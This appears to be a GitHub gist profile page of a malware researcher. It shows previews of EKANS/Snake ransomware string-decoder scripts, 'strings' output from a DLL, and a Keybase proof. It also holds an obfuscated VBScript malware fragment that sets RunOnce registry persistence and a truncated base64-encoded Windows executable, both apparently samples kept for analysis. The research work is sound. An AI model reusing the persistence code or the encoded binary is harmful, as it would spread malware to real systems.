Skip to content

Instantly share code, notes, and snippets.

View W3ndige's full-sized avatar
🐱

Karol Trociński W3ndige

🐱
View GitHub Profile

Tweaked script:

import re
import sys
import pefile
import struct
import binascii
$ strings -e l faxprint.dll
GGMM
exit
%s%s\
Kernel32.dll
May 9 2020
%d*%d
%dd%dh%dm%ds
T:%dM,A:%dM
~MHz

Strings decoded from the newer version of #EKANS ransomware.

import re
import sys
import pefile
import struct
import binascii
On Error Resume Next
Set bhBxz = WScript.CreateObject("WScript.Shell")
NgWJtK = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\MediaPlayer"
Set VFUSKXwNgG = CreateObject("WScript.Shell")
Set ioBuA = CreateObject("Scripting.FileSystemObject")
ARtLeH = VFUSKXwNgG.ExpandEnvironmentStrings("%USERPROFILE%")
GOfuTtmrFM=VFUSKXwNgG.ExpandEnvironmentStrings("%COMPUTERNAME%")
tAqdq=VFUSKXwNgG.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
IVcetC=VFUSKXwNgG.ExpandEnvironmentStrings("%APPDATA%")

Script and the decoded strings from the EKANS/Snake ransomware. Original script written by @sysopfb - I've only modified the regexp to cover all cases where decryption was used in the sample.

Script:

import re
import sys
import pefile
import struct

Keybase proof

I hereby claim:

  • I am W3ndige on github.
  • I am w3ndige (https://keybase.io/w3ndige) on keybase.
  • I have a public key whose fingerprint is 2B28 A0A2 94AE FE39 F809 6580 6221 363F F83A B8FB

To claim this, I am signing this object:

This file has been truncated, but you can view the full file.
$filebase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABmnvOBIv+d0iL/ndIi/53SBTnz0j7/ndIFOeDSNP+d0gU58NJ3/53S4fDA0i3/ndIi/5zSVv+d0gU579Ij/53SBTnn0iP/ndIFOeHSI/+d0gU55dIj/53SUmljaCL/ndIAAAAAAAAAAFBFAABMAQUAxUSkXQAAAAAAAAAA4AACIQsBCAAAgAoAAIADAAAAAACXGQAAABAAAACQCgAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAACfAAAQAAD5QQ4AAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAADYDABHAAAA/M0MAKAAAAAAgJ4AOAMAAAAAAAAAAAAAAAAAAAAAAAAAkJ4AHAsAAOCRCgAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQCgCsAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADWcwoAABAAAACACgAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAR0gCAACQCgAAUAIAAJAKAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAABiWkQAA4AwAALAAAADgDAAAAAAAAAAAAAAAAABAAADALnJzcmMAAAA4AwAAAICeAAAQAAAAkA0AAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAfGIAAACQngAAcAAAAKANAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA